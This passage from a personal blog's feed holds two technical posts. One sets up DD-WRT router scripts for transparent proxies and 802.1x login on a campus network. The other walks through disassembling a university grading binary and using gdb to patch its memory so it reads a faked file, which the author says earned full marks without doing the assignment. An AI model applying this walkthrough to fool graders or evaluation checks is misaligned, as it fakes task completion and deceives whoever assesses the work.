&lt;a href=&quot;http://i622.photobucket.com/albums/tt302/Nehal/TPLink_WR740N_TP4_zpsu6y8gsop.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/TPLink_WR740N_TP4_zpsu6y8gsop.png&quot; /&gt;&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Step 8: Create a file onrouter.sh and host it on some persistent network reachable from within campus. For example: http://10.4.8.200/~nehal.wani/router_proxy/onrouter.sh. You can download the file &lt;a href=&quot;https://drive.google.com/file/d/0B8d4Lb_KJbfdcGFqLUZma19CZnM/view?usp=sharing&quot;&gt;here&lt;/a&gt;. Contents of the file are:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;# iptables commands to be run on DD-WRT for tproxyhttps intercepting
# Note your router setup may differ , use only as a guide
cd /tmp/tmpf/

LAN_IP=`nvram get lan_ipaddr`
LAN_NET=$LAN_IP/`nvram get lan_netmask`

## HTTPS Stuff
# IP address of machine on which the intermediate transparent https proxy (tproxyhttps)
# is running (if you are running tproxyhttps on the router itself, then this is the router&#39;s ip) 
PROXY_IP=192.168.1.1 
PROXY_PORT=1125 # Port on which the intermediate transparent http proxy listens for requests
iptables -t nat -A PREROUTING -i br0 -s $LAN_NET -d $LAN_NET -p tcp --dport 443 -j ACCEPT
iptables -t nat -A PREROUTING -i br0 -p tcp --dport 443 -j DNAT --to $PROXY_IP:$PROXY_PORT

chmod a+x /tmp/tmpf/tproxyhttps
echo &quot;while true; do /tmp/tmpf/tproxyhttps -s 10.4.8.204 -a 8080 -p $PROXY_PORT -v &amp;amp;&amp;gt; /tmp/tmpf/tproxyhttps.log ; done&quot; &amp;gt;&amp;gt; /tmp/tmpf/script_https.sh
chmod a+x /tmp/tmpf/script_https.sh
sh script_https.sh &amp;amp;

## HTTP Stuff
# IP address of machine on which the intermediate transparent http proxy (tinyproxy)
# is running (if you are running tinyproxy on the router itself, then this is the router&#39;s ip) 
PROXY_IP=192.168.1.1 
PROXY_PORT=3128 # Port on which the intermediate transparent https proxy listens for requests
iptables -t nat -A PREROUTING -i br0 -s $LAN_NET -d $LAN_NET -p tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -i br0 -p tcp --dport 80 -j DNAT --to $PROXY_IP:$PROXY_PORT

chmod a+x /tmp/tmpf/tinyproxy
echo &quot;while true; do /tmp/tmpf/tinyproxy -c tp.conf &amp;amp;&amp;gt; /tmp/tmpf/tp.log ; done&quot; &amp;gt;&amp;gt; /tmp/tmpf/script_http.sh
chmod a+x /tmp/tmpf/script_http.sh
sh script_http.sh &amp;amp;

# All SNAT Stuff
iptables -t nat -I POSTROUTING -o br0 -s $LAN_NET -d $PROXY_IP -p tcp -j SNAT --to $LAN_IP
iptables -I FORWARD -i br0 -o br0 -s $LAN_NET -d $PROXY_IP -p tcp --dport $PROXY_PORT -j ACCEPT

# Don&#39;t route the local network packets through intermediate proxies
iptables -t nat -I PREROUTING -i br0 -d 192.168.36.0/24 -j ACCEPT
iptables -t nat -I PREROUTING -i br0 -d 10.0.0.0/13 -j ACCEPT

# add search domain option for intranet domains
echo &quot;dhcp-option=option:domain-search,iiit.ac.in&quot; &amp;gt;&amp;gt; /tmp/dnsmasq.conf
stopservice dnsmasq
startservice dnsmasq&lt;/pre&gt;
Step 9: Compile the file &lt;a href=&quot;https://drive.google.com/file/d/0B8d4Lb_KJbfdSHJ1Y2Raa1VHNlU/edit?usp=sharing&quot;&gt;tproxyhttps.c&lt;/a&gt; for the Instructions Set Architecture of your router. For TPLink-WR740N, the chipset is of Atheros and ISA is MIPS32. Host the compiled binary on some persistent network reachable from within campus. For example: http://10.4.8.200/~nehal.wani/router_proxy/tproxyhttps. You can download the compiled binary for TPlink-WR740N &lt;a href=&quot;https://drive.google.com/file/d/0B8d4Lb_KJbfdU2FoMWE4TnNTZ2s/edit?usp=sharing&quot;&gt;here&lt;/a&gt;. If you wish to compile it yourself, download &lt;a href=&quot;http://downloads.openwrt.org/attitude_adjustment/12.09-rc2/ar71xx/generic/OpenWrt-Toolchain-ar71xx-for-mips_r2-gcc-4.6-linaro_uClibc-0.9.33.2.tar.bz2&quot;&gt;OpenWRT-toolchain-for-mips-gcc&lt;/a&gt; &lt;a href=&quot;https://drive.google.com/file/d/0B8d4Lb_KJbfdWGZlSDBLYXRGdmM/edit?usp=sharing&quot;&gt;Mirror&lt;/a&gt;. If your router model is D-Link DIR-600, then you need to download &lt;a href=&quot;http://downloads.openwrt.org/attitude_adjustment/12.09-rc2/ramips/rt305x/OpenWrt-Toolchain-ramips-for-mipsel_r2-gcc-4.6-linaro_uClibc-0.9.33.2.tar.bz2&quot;&gt;OpenWRT-toolchain-for-ramips-gcc&lt;/a&gt; Run this command for compilation:&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;mips-openwrt-linux-gcc tproxyhttps_working.c -ldl  -lpthread -o tproxyhttps&lt;/pre&gt;
The binary can be found in: ./OpenWrt-Toolchain-ar71xx-for-mips_r2-gcc-4.6-linaro_uClibc-0.9.33.2/toolchain-mips_r2_gcc-4.6-linaro_uClibc-0.9.33.2/bin/
Similar command can be used to compile transparent http proxy. The files required are:
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B8d4Lb_KJbfdekRQWm5NUG5GYVU/edit?usp=sharing&quot;&gt;tinyproxy&lt;/a&gt;. Pre-compiled binary extracted from this &lt;a href=&quot;https://downloads.openwrt.org/snapshots/trunk/ar71xx/packages/packages/tinyproxy_1.8.3-2_ar71xx.ipk&quot;&gt;link&amp;nbsp;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B8d4Lb_KJbfdUVpzekJoa3pneTg/edit?usp=sharing&quot;&gt;tp.conf (tinyproxy config file)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Step 10: Open &lt;a href=&quot;http://192.168.1.1/&quot;&gt;192.168.1.1&lt;/a&gt; in your browser and go to Setup -&amp;gt; Basic Setup. In Connection Type, choose Automatic Configuration - DHCP. In the section Network Address Server Settings (DHCP), deselect Use DNSMasq for DNS and enter 10.4.3.222 and 10.4.20.204 in Static DNS 1 and Static DNS 2. Click Save at the bottom of the page.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://i622.photobucket.com/albums/tt302/Nehal/TPLink_WR740N_TP3_zps8iih1mvj.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/TPLink_WR740N_TP3_zps8iih1mvj.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Step 11: Find the program wpa_supplicant supporting your device&#39;s chipset and ISA. For TPLink-WR740N v4.28, I found the binary in &lt;a href=&quot;http://www.ozo.com/airo/openwrt/firmware/latest/2.6/ar71xx/14104/packages/mips/wpa-supplicant_0.6.6-1_mips.ipk&quot;&gt;this package&lt;/a&gt;. &lt;a href=&quot;https://drive.google.com/file/d/0B8d4Lb_KJbfdYVZvT1oybVl6VzQ/edit?usp=sharing&quot;&gt;Mirror&lt;/a&gt; and host it one of the nodes which is almost always connected to the private network created by the router. For example, &lt;a href=&quot;http://192.168.148.1/wpa_supplicant_mips32&quot;&gt;http://192.168.148.1/wpa_supplicant_mips32&lt;/a&gt;
&lt;br /&gt;
Step 12: Telnet into the router and type the following commands (Change the links of the hosted files appropriately):&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://i622.photobucket.com/albums/tt302/Nehal/TPLink_WR740N_TP5_zpsef17aibe.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://i622.photobucket.com/albums/tt302/Nehal/TPLink_WR740N_TP5_zpsef17aibe.png&quot; /&gt;&lt;/a&gt;

&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;
root@DD-WRT:~# nvram set rc_startup=&quot;
mkdir /tmp/tmpf
cd /tmp/tmpf
while true; do ifconfig | grep -A2 eth0 | grep inet; if [[ \$? -ne 0 ]]; then sleep 1; else break; fi; done #wait for Guest VLAN IP
wget http://10.1.34.245/softwares/RouterFiles/wpa_supplicant_mips32 #download from local network
mv wpa_supplicant_mips32 wpa_supplicant
chmod a+x wpa_supplicant
echo \&quot;
ctrl_interface=/var/run/wpa_supplicant
ap_scan=0
fast_reauth=1
network={
    key_mgmt=IEEE8021X
    eap=GTC
    identity=\\\&quot;nehal.wani@students.iiit.ac.in\\\&quot;
    password=\\\&quot;i-wont-tell-you\\\&quot;
}\&quot; &amp;gt; /tmp/tmpf/wpa_supplicant.conf
./wpa_supplicant -D wired -i eth0 -dd -c /tmp/tmpf/wpa_supplicant.conf &amp;amp;&amp;gt; /tmp/wpa_supplicant.log &amp;amp;
sleep 10 #wait for authentication to complete
stopservice wan
startservice wan
sleep 10 #wait for IP from DHCP
wget http://10.4.8.200/~nehal.wani/router_proxy/onrouter.sh;
wget http://10.4.8.200/~nehal.wani/router_proxy/tproxyhttps;
wget http://10.4.8.200/~nehal.wani/router_proxy/tinyproxy;
wget http://10.4.8.200/~nehal.wani/router_proxy/tp.conf;
sh onrouter.sh;&quot; #This set the the nvram variable rc_startup
root@DD-WRT:~# nvram commit #Save the nvram variable, so that it is persistent w.r.t reboots.
root@DD-WRT:~# reboot #Reboot to apply changes
&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/5870683903607221570/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/5870683903607221570' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/5870683903607221570'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/5870683903607221570'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2015/03/configuring-transparent-http-proxy.html' title='Configuring transparent HTTP Proxy, transparent HTTPS proxy and 802.1x authentication on a Wireless Router'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/06592243882035117471</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5205501213934844228.post-8674112481112366237</id><published>2014-08-23T08:39:00.001-07:00</published><updated>2014-08-23T10:10:19.433-07:00</updated><title type='text'>Playing with a simple 64 bit binary (Cheating an assignment)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;

&lt;script src=&quot;https://google-code-prettify.googlecode.com/svn/loader/run_prettify.js?skin=sons-of-obsidian&quot;&gt;&lt;/script&gt;

So, I heard some people discussing: &quot;What was the &lt;a href=&quot;https://drive.google.com/file/d/0B8d4Lb_KJbfdbHA3RC11NHQ3Z2c/edit?usp=sharing&quot;&gt;binary&lt;/a&gt; doing which was given to us to evaluate our assignment?&quot; To those who don&#39;t know, the assignment was to install ArchLinux in one&#39;s laptop. So, I took a look at the binary, and came up with the following stuff:

&lt;pre class=&quot;prettyprint&quot;&gt;
➜  /home/wani/Something  objdump -D eval &gt; eval_dump   
➜  /home/wani/Something  strings eval          
/lib64/ld-linux-x86-64.so.2
libc.so.6
exit
fopen
perror
__isoc99_scanf
fgetc
strlen
getchar
fclose
fprintf
__libc_start_main
__gmon_start__
GLIBC_2.7
GLIBC_2.2.5
UH-H
fffff.
AWAVA
AUATL
[]A\A]A^A_
Full Name: 
Roll No.:
/proc/version
Error while opening the file.
;*3$&quot;
➜  /home/wani/Something  
&lt;/pre&gt;
The interesting strings are: &quot;Full Name:&quot;, &quot;Roll No.:&quot; and &quot;/proc/version&quot;. Let us analyze a small part of the main section of the binary&#39;s dump:
&lt;pre class=&quot;prettyprint&quot;&gt;
[...]
00000000004007b6 &amp;ltmain&amp;gt:
  4007b6:       55                      push   %rbp
  4007b7:       48 89 e5                mov    %rsp,%rbp               #Stack Stuff
  4007ba:       48 81 ec f0 0b 00 00    sub    $0xbf0,%rsp
  4007c1:       c7 45 fc 00 00 00 00    movl   $0x0,-0x4(%rbp)
  4007c8:       bf 48 0a 40 00          mov    $0x400a48,%edi          #Argument to printf, address of string: &quot;Full Name:&quot;
  4007cd:       b8 00 00 00 00          mov    $0x0,%eax
  4007d2:       e8 49 fe ff ff          callq  400620 &amp;ltprintf@plt&amp;gt
  4007d7:       48 8d 85 00 fc ff ff    lea    -0x400(%rbp),%rax
  4007de:       48 89 c6                mov    %rax,%rsi
  4007e1:       bf 54 0a 40 00          mov    $0x400a54,%edi          #Format specifier for scanf: %[^\n]
  4007e6:       b8 00 00 00 00          mov    $0x0,%eax
  4007eb:       e8 b0 fe ff ff          callq  4006a0 &amp;lt__isoc99_scanf@plt&amp;gt
  4007f0:       e8 5b fe ff ff          callq  400650 &amp;ltgetchar@plt&amp;gt 
  4007f5:       bf 5a 0a 40 00          mov    $0x400a5a,%edi          #Argument to printf, address of string: &quot;Roll No.:&quot;
  4007fa:       b8 00 00 00 00          mov    $0x0,%eax
  4007ff:       e8 1c fe ff ff          callq  400620 &amp;ltprintf@plt&amp;gt
  400804:       48 8d 85 10 f4 ff ff    lea    -0xbf0(%rbp),%rax
  40080b:       48 89 c6                mov    %rax,%rsi
  40080e:       bf 54 0a 40 00          mov    $0x400a54,%edi          #Format specifier for scanf: %[^\n]
  400813:       b8 00 00 00 00          mov    $0x0,%eax
  400818:       e8 83 fe ff ff          callq  4006a0 &amp;lt__isoc99_scanf@plt&amp;gt
  40081d:       be 64 0a 40 00          mov    $0x400a64,%esi          #Argument to fopen, address of string: &quot;r&quot;
  400822:       bf 66 0a 40 00          mov    $0x400a66,%edi          #Argument to fopen, address of string: &quot;/proc/version&quot;
  400827:       e8 54 fe ff ff          callq  400680 &amp;ltfopen@plt&amp;gt
  40082c:       48 89 45 f0             mov    %rax,-0x10(%rbp)
  400830:       48 83 7d f0 00          cmpq   $0x0,-0x10(%rbp)
  400835:       75 14                   jne    40084b &amp;ltmain+0x95&amp;gt      #Equality check, if fopen fails, goto: 40084b
  400837:       bf 78 0a 40 00          mov    $0x400a78,%edi
  40083c:       e8 4f fe ff ff          callq  400690 &amp;ltperror@plt&amp;gt
  400841:       bf ff ff ff ff          mov    $0xffffffff,%edi
  400846:       e8 65 fe ff ff          callq  4006b0 &amp;ltexit@plt&amp;gt
  40084b:       eb 16                   jmp    400863 &amp;ltmain+0xad&amp;gt
[...]  
&lt;/pre&gt;
Let us confirm whether the addresses are indeed pointing to what I claim they are pointing to. In the same dump file:
&lt;pre class=&quot;prettyprint&quot;&gt;
[...]
  400a48:       46 75 6c                rex.RX jne 400ab7 &amp;lt_IO_stdin_used+0x77&amp;gt
  400a4b:       6c                      insb   (%dx),%es:(%rdi)
  400a4c:       20 4e 61                and    %cl,0x61(%rsi)
  400a4f:       6d                      insl   (%dx),%es:(%rdi)
  400a50:       65 3a 20                cmp    %gs:(%rax),%ah
[...]
  400a59:       00 52 6f                add    %dl,0x6f(%rdx)
  400a5c:       6c                      insb   (%dx),%es:(%rdi)
  400a5d:       6c                      insb   (%dx),%es:(%rdi)
  400a5e:       20 4e 6f                and    %cl,0x6f(%rsi)
  400a61:       2e 3a 00                cmp    %cs:(%rax),%al
[...]
  400a64:       72 00                   jb     400a66 &amp;lt_IO_stdin_used+0x26&amp;gt
[...]
  400a66:       2f                      (bad)  
  400a67:       70 72                   jo     400adb &amp;lt_IO_stdin_used+0x9b&amp;gt
  400a69:       6f                      outsl  %ds:(%rsi),(%dx)
  400a6a:       63 2f                   movslq (%rdi),%ebp
  400a6c:       76 65                   jbe    400ad3 &amp;lt_IO_stdin_used+0x93&amp;gt
  400a6e:       72 73                   jb     400ae3 &amp;lt_IO_stdin_used+0xa3&amp;gt
  400a70:       69 6f 6e 00 00 00 00    imul   $0x0,0x6e(%rdi),%ebp
[...]
➜  /home/wani/Something  python
Python 2.7.3 (default, Mar 13 2014, 11:03:55) 
[GCC 4.7.2] on linux2
Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.
&gt;&gt;&gt; hex2chr = lambda(x): chr(int(&#39;0x&#39;+str(x), 16))
&gt;&gt;&gt; f = lambda(x): map(hex2chr, x)
&gt;&gt;&gt; &#39;&#39;.join(f([&#39;46&#39;, &#39;75&#39;, &#39;6c&#39;, &#39;6c&#39;, &#39;20&#39;, &#39;4e&#39;, &#39;61&#39;, &#39;6d&#39;, &#39;65&#39;, &#39;3a&#39;]))
&#39;Full Name:&#39;
&gt;&gt;&gt; &#39;&#39;.join(f([&#39;52&#39;, &#39;6f&#39;, &#39;6c&#39;, &#39;6c&#39;, &#39;20&#39;, &#39;4e&#39;, &#39;6f&#39;, &#39;2e&#39;, &#39;3a&#39;]))
&#39;Roll No.:&#39;
&gt;&gt;&gt; &#39;&#39;.join(f([&#39;72&#39;]))
&#39;r&#39;
&gt;&gt;&gt; &#39;&#39;.join(f([&#39;2f&#39;, 70, &#39;72&#39;, &#39;6f&#39;, &#39;63&#39;, &#39;2f&#39;, &#39;76&#39;, &#39;65&#39;, &#39;72&#39;, &#39;73&#39;, &#39;69&#39;, &#39;6f&#39;, &#39;6e&#39;]))
&#39;/proc/version&#39;
&gt;&gt;&gt; 
&lt;/pre&gt;
So it seems like the program only needs to capture the output of the file /proc/version, get your roll number and name, do some vodoo-magic with it, print out another weird binary. &lt;br /&gt;
It is time to start cheating. Google for the output of the file /proc/version for Archlinux and save it to a file, say in /aroc/version. Now, fire gdb
&lt;pre class=&quot;prettyprint&quot;&gt;
➜  /home/wani/Something  gdb eval
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type &quot;show copying&quot;
and &quot;show warranty&quot; for details.
This GDB was configured as &quot;x86_64-linux-gnu&quot;.
For bug reporting instructions, please see:
&lt;http://www.gnu.org/software/gdb/bugs/&gt;...
Reading symbols from /home/wani/Something/eval...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x4007ba
(gdb) r
Starting program: /home/wani/Something/eval 

Breakpoint 1, 0x00000000004007ba in main ()
(gdb) info files
Symbols from &quot;/home/wani/Something/eval&quot;.
Unix child process:
 Using the running image of child process 11358.
 While running this, GDB does not access memory from...
Local exec file:
 `/home/wani/Something/eval&#39;, file type elf64-x86-64.
 Entry point: 0x4006c0
 0x0000000000400200 - 0x000000000040021c is .interp
 0x000000000040021c - 0x000000000040023c is .note.ABI-tag
 0x000000000040023c - 0x0000000000400260 is .note.gnu.build-id
 0x0000000000400260 - 0x000000000040027c is .gnu.hash
 0x0000000000400280 - 0x00000000004003b8 is .dynsym
 0x00000000004003b8 - 0x000000000040043f is .dynstr
 0x0000000000400440 - 0x000000000040045a is .gnu.version
 0x0000000000400460 - 0x0000000000400490 is .gnu.version_r
 0x0000000000400490 - 0x00000000004004a8 is .rela.dyn
 0x00000000004004a8 - 0x00000000004005c8 is .rela.plt
 0x00000000004005c8 - 0x00000000004005e2 is .init
 0x00000000004005f0 - 0x00000000004006c0 is .plt
 0x00000000004006c0 - 0x0000000000400a32 is .text
 0x0000000000400a34 - 0x0000000000400a3d is .fini
 0x0000000000400a40 - 0x0000000000400aa2 is .rodata #readonly stuff is present here. (not exactly readonly for gdb though)
 0x0000000000400aa4 - 0x0000000000400ad8 is .eh_frame_hdr
 0x0000000000400ad8 - 0x0000000000400bcc is .eh_frame
[...]
(gdb) find /b 0x0000000000400a40, 0x0000000000400aa2, &#39;p&#39;, &#39;r&#39;, &#39;o&#39;, &#39;c&#39;
0x400a67
1 pattern found.
(gdb) p (char *)0x400a67
$1 = 0x400a67 &quot;proc/version&quot;
(gdb) set {char}0x400a67 = &#39;a&#39;
(gdb) p (char *)0x400a67
$2 = 0x400a67 &quot;aroc/version&quot;
(gdb) c
Continuing.
Full Name: Nehal J Wani
Roll No.:201125005
[Inferior 1 (process 11358) exited normally]
(gdb) quit
➜  /home/wani/Something
&lt;/pre&gt;
So, essentially, we have changed the binary by pausing it at runtime, changing the value of a char in the memory and fooling the program to read from /aroc/version instead of /proc/version. Since the content will be same, the voodoo-magic will also print the same output in the resulting weird binary. See, I didn&#39;t even install ArchLinux and still got full marks :P

Now, for quenching the curiosity for knowing the vodoo-thingy, let us analyze the rest of the binary.
&lt;pre class=&quot;prettyprint&quot;&gt;
[...]
  40084d:       8b 45 fc                mov    -0x4(%rbp),%eax                  #Looping stuff through file 
  400850:       8d 50 01                lea    0x1(%rax),%edx
  400853:       89 55 fc                mov    %edx,-0x4(%rbp)
  400856:       48 98                   cltq   
  400858:       0f b6 55 ef             movzbl -0x11(%rbp),%edx
  40085c:       88 94 05 30 f4 ff ff    mov    %dl,-0xbd0(%rbp,%rax,1)          #Store contents of entire file to $rbp-0xbd0
  400863:       48 8b 45 f0             mov    -0x10(%rbp),%rax
  400867:       48 89 c7                mov    %rax,%rdi
  40086a:       e8 c1 fd ff ff          callq  400630 &amp;ltfgetc@plt&amp;gt
  40086f:       88 45 ef                mov    %al,-0x11(%rbp)
  400872:       80 7d ef ff             cmpb   $0xff,-0x11(%rbp)                #EOF check
  400876:       75 d5                   jne    40084d &amp;ltmain+0x97&amp;gt               #jump, baby, jump! 
  400878:       83 6d fc 01             subl   $0x1,-0x4(%rbp)
  40087c:       8b 45 fc                mov    -0x4(%rbp),%eax
  40087f:       48 98                   cltq   
  400881:       c6 84 05 30 f4 ff ff    movb   $0x0,-0xbd0(%rbp,%rax,1)
  400888:       00   
  400889:       48 8b 45 f0             mov    -0x10(%rbp),%rax
  40088d:       48 89 c7                mov    %rax,%rdi
  400890:       e8 6b fd ff ff          callq  400600 &amp;ltfclose@plt&amp;gt
  400895:       48 8d 85 10 f4 ff ff    lea    -0xbf0(%rbp),%rax                #My Roll Number is stored at $rbp-0xbf0
  40089c:       be 97 0a 40 00          mov    $0x400a97,%esi                   #0x400a97 holds the value &quot;w&quot;
  4008a1:       48 89 c7                mov    %rax,%rdi
  4008a4:       e8 d7 fd ff ff          callq  400680 &amp;ltfopen@plt&amp;gt               #Open file by the name: $myrollnumber
  4008a9:       48 89 45 f0             mov    %rax,-0x10(%rbp)
  4008ad:       48 8d 85 00 fc ff ff    lea    -0x400(%rbp),%rax                #My Name is stored at $rbp-0x400
  4008b4:       48 89 c7                mov    %rax,%rdi
  4008b7:       e8 54 fd ff ff          callq  400610 &amp;ltstrlen@plt&amp;gt
  4008bc:       89 45 e8                mov    %eax,-0x18(%rbp)                 #$rbp-0x18 stores the length of my name 
  4008bf:       c7 45 fc 00 00 00 00    movl   $0x0,-0x4(%rbp)                  #Loop counter
  4008c6:       eb 21                   jmp    4008e9 &amp;ltmain+0x133&amp;gt              #Start of loop 
  4008c8:       8b 45 fc                mov    -0x4(%rbp),%eax                  #Loop counter
  4008cb:       48 98                   cltq   
  4008cd:       0f b6 84 05 00 fc ff    movzbl -0x400(%rbp,%rax,1),%eax
  4008d4:       ff   
  4008d5:       f7 d0                   not    %eax 
  4008d7:       89 c2                   mov    %eax,%edx                        #name[i] = ~name[i]
  4008d9:       8b 45 fc                mov    -0x4(%rbp),%eax
  4008dc:       48 98                   cltq   
  4008de:       88 94 05 00 fc ff ff    mov    %dl,-0x400(%rbp,%rax,1)
  4008e5:       83 45 fc 01             addl   $0x1,-0x4(%rbp)                  #Increment counter
  4008e9:       8b 45 fc                mov    -0x4(%rbp),%eax
  4008ec:       3b 45 e8                cmp    -0x18(%rbp),%eax
  4008ef:       7c d7                   jl     4008c8 &amp;ltmain+0x112&amp;gt              #Jump, baby, jump! 
  4008f1:       48 8d 85 10 f4 ff ff    lea    -0xbf0(%rbp),%rax
  4008f8:       48 89 c7                mov    %rax,%rdi
  4008fb:       e8 10 fd ff ff          callq  400610 &amp;ltstrlen@plt&amp;gt              #Length of $myrollnumber
  400900:       89 45 e8                mov    %eax,-0x18(%rbp)
  400903:       c7 45 fc 00 00 00 00    movl   $0x0,-0x4(%rbp)                  #Initialize loop counter to 0 
  40090a:       eb 21                   jmp    40092d &amp;ltmain+0x177&amp;gt
  40090c:       8b 45 fc                mov    -0x4(%rbp),%eax
  40090f:       48 98                   cltq   
  400911:       0f b6 84 05 10 f4 ff    movzbl -0xbf0(%rbp,%rax,1),%eax
  400918:       ff   
  400919:       f7 d0                   not    %eax                             #roll[i] = ~roll
  40091b:       89 c2                   mov    %eax,%edx
  40091d:       8b 45 fc                mov    -0x4(%rbp),%eax
  400920:       48 98                   cltq   
  400922:       88 94 05 10 f4 ff ff    mov    %dl,-0xbf0(%rbp,%rax,1)          #Store modified contents
  400929:       83 45 fc 01             addl   $0x1,-0x4(%rbp)
  40092d:       8b 45 fc                mov    -0x4(%rbp),%eax
  400930:       3b 45 e8                cmp    -0x18(%rbp),%eax
  400933:       7c d7                   jl     40090c &amp;ltmain+0x156&amp;gt              #Jump, baby, jump! 
  400935:       48 8d 85 30 f4 ff ff    lea    -0xbd0(%rbp),%rax
  40093c:       48 89 c7                mov    %rax,%rdi
  40093f:       e8 cc fc ff ff          callq  400610 &amp;ltstrlen@plt&amp;gt              #Length of entire file /proc/version
  400944:       89 45 e8                mov    %eax,-0x18(%rbp)
  400947:       c7 45 fc 00 00 00 00    movl   $0x0,-0x4(%rbp)                  #Initialize loop counter to 0 
  40094e:       eb 21                   jmp    400971 &amp;ltmain+0x1bb&amp;gt
  400950:       8b 45 fc                mov    -0x4(%rbp),%eax
  400953:       48 98                   cltq   
  400955:       0f b6 84 05 30 f4 ff    movzbl -0xbd0(%rbp,%rax,1),%eax
  40095c:       ff   
  40095d:       f7 d0                   not    %eax                             #file[i] = ~file[i]
  40095f:       89 c2                   mov    %eax,%edx
  400961:       8b 45 fc                mov    -0x4(%rbp),%eax
  400964:       48 98                   cltq   
  400966:       88 94 05 30 f4 ff ff    mov    %dl,-0xbd0(%rbp,%rax,1)          #Store modified contents
  40096d:       83 45 fc 01             addl   $0x1,-0x4(%rbp)
  400971:       8b 45 fc                mov    -0x4(%rbp),%eax
  400974:       3b 45 e8                cmp    -0x18(%rbp),%eax
  400977:       7c d7                   jl     400950 &amp;ltmain+0x19a&amp;gt              #Jump, baby, jump! 
  400979:       48 8d b5 30 f4 ff ff    lea    -0xbd0(%rbp),%rsi
  400980:       48 8d 8d 10 f4 ff ff    lea    -0xbf0(%rbp),%rcx
  400987:       48 8d 95 00 fc ff ff    lea    -0x400(%rbp),%rdx
  40098e:       48 8b 45 f0             mov    -0x10(%rbp),%rax
  400992:       49 89 f0                mov    %rsi,%r8
  400995:       be 99 0a 40 00          mov    $0x400a99,%esi                   #Format specifier: &quot;%s\n%s\n%s&quot;
  40099a:       48 89 c7                mov    %rax,%rdi
  40099d:       b8 00 00 00 00          mov    $0x0,%eax
  4009a2:       e8 b9 fc ff ff          callq  400660 &amp;ltfprintf@plt&amp;gt             #Print all three modified strings to file $myrollnumber
  4009a7:       48 8b 45 f0             mov    -0x10(%rbp),%rax
  4009ab:       48 89 c7                mov    %rax,%rdi
  4009ae:       e8 4d fc ff ff          callq  400600 &amp;ltfclose@plt&amp;gt
  4009b3:       b8 00 00 00 00          mov    $0x0,%eax
  4009b8:       c9                      leaveq 
  4009b9:       c3                      retq   
[...]
&lt;/pre&gt;
So, now the equivalent C program can be easily written.
&lt;pre class=&quot;prettyprint&quot;&gt;
#include &amp;ltstdio.h&amp;gt
#include &amp;ltstring.h&amp;gt

int main() {
   FILE *fp;
   int c;
   int i = 0;
   char file[1024];
   char roll[10];
   char name[30];
   printf(&quot;%s &quot;, &quot;Full Name:&quot;);
   scanf(&quot;%[^\n]&quot;, name);
   getchar();
   printf(&quot;%s &quot;, &quot;Roll No.:&quot;);
   scanf(&quot;%[^\n]&quot;, roll);

   fp = fopen(&quot;/proc/version&quot;,&quot;r&quot;);
   if (fp == NULL) {
      perror(&quot;Error while opening the file.\n&quot;);
      return(-1);
   }
   do {
      file[i++] = fgetc(fp);
      if (feof(fp)) {
          break ;
      }
   } while(1);

   fclose(fp);

   fp = fopen(roll, &quot;w&quot;);

   for (i = 0; i &lt; strlen(name); i++)
       name[i] = ~name[i];

   for (i = 0; i &lt; strlen(roll); i++)
       roll[i] = ~roll[i];

   for (i = 0; i &lt; strlen(file); i++)
       file[i] = ~file[i];

   fprintf(fp, &quot;%s\n%s\n%s&quot;, name, roll, file);
   fclose(fp);

   return(0);
}
&lt;/pre&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://commandlinewani.blogspot.com/feeds/8674112481112366237/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5205501213934844228/8674112481112366237' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/8674112481112366237'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5205501213934844228/posts/default/8674112481112366237'/><link rel='alternate' type='text/html' href='http://commandlinewani.blogspot.com/2014/08/playing-with-simple-64-bit-binary.html' title='Playing with a simple 64 bit binary (Cheating an assignment)'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/06592243882035117471</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' 